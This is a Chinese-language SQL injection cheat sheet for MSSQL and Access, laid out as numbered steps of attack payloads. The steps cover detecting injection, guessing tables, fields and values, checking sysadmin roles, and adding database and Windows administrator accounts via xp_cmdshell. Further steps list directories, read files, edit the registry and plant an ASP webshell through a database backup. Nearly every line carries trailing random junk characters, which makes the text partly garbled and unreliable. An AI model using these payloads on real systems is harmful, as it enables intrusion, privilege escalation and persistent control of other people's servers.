1.判断是否有注入;and 1=1 ;and 1=2 WgNA%.|,
2.初步判断是否是mssql ;and user>0 RX gb/VR
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3.注入参数是字符'and [查询条件] and ''=' 'xW=qboOp
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' 77RZ<u9/`
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5.判断数据库系统 .LzA'q1+z
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;and (select count(*) from sysobjects)>0 mssql `PWKA;W$0
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;and (select count(*) from msysobjects)>0 access Y>x{ [er
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 q;{(o2g
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 4_#$k{
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 Ob0sB@
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9.(1)猜字段的ascii值(access) 8}QM~&&.
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 $>rt0LOF
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(2)猜字段的ascii值(mssql) Iiy5;:CX:q
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 Yh<F-WOo2
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10.测试权限结构(mssql) LU3pCM{
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- , ZsZzZ#
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- +gl\l?>sr
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- &L6Ivpj-
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- K+3-XhG
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- UP](1lAf
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- !BQt+4G7
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;and 1=(select IS_MEMBER('db_owner'));-- 2?,Jn&i5
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11.添加mssql和系统的帐户 x@#>l8k?
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;exec master.dbo.sp_addlogin username;-- |rx5O5p
;exec master.dbo.sp_password null,username,password;-- 3vrVX<_
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- @?B+|*cm
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;exec master.dbo.xp_cmdshell 'net user username password M9"Bx/
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- E ,i^rA m
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- I;4quFBlMu
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- ( 5LCy?-6
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12.(1)遍历目录 .; MS78BR
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;create table dirs(paths varchar(100), id int) C4m+Ta%
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;insert dirs exec master.dbo.xp_dirtree 'c:\' P(T-2Ux6
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;and (select top 1 paths from dirs)>0 f2gtz{r
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) KhjC'CU,
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(2)遍历目录 [6VB&
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 1/$PxQ
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 O-,
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 ,_V V;P
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 :zL)O
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 3lF"nv
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13.mssql中的存储过程 1l-5H7^w2?
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xp_regenumvalues 注册表根键, 子键 LL<xygd
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 *fN+wiPD
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xp_regread 根键,子键,键值名 :qm\FsO
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 eo+<@83
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xp_regwrite 根键,子键, 值名, 值类型, 值 N,Y)'s<
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 e!VtDJDS
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xp_regdeletevalue 根键,子键,值名 qO{z{@jo55
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 JBY.er`6C
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 7uR;S:WX
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14.mssql的backup创建webshell 9=>q0D2
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use model =Jm[1Mgt
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create table cmd(str image); W9SU1{*9
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insert into cmd(str) values (''); ;21D ^e
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backup database model to disk='c:\l.asp'; FWbp;v{
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15.mssql内置函数 U[wx){[|
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;and (select @@version)>0 获得Windows的版本号 9c^ ,v_W@
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa um,f!ho-U
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;and (select user_name())>0 爆当前系统的连接用户 Tpl]\L1v-
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;and (select db_name())>0 得到当前连接的数据库 bRvGetX
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16.简洁的webshell h'*v$lt
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use model Mj@2=c
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create table cmd(str image); &g|[/~dIr
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insert into cmd(str) values (''); V'vWz`#
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backup database model to disk='g:\wwwtest\l.asp';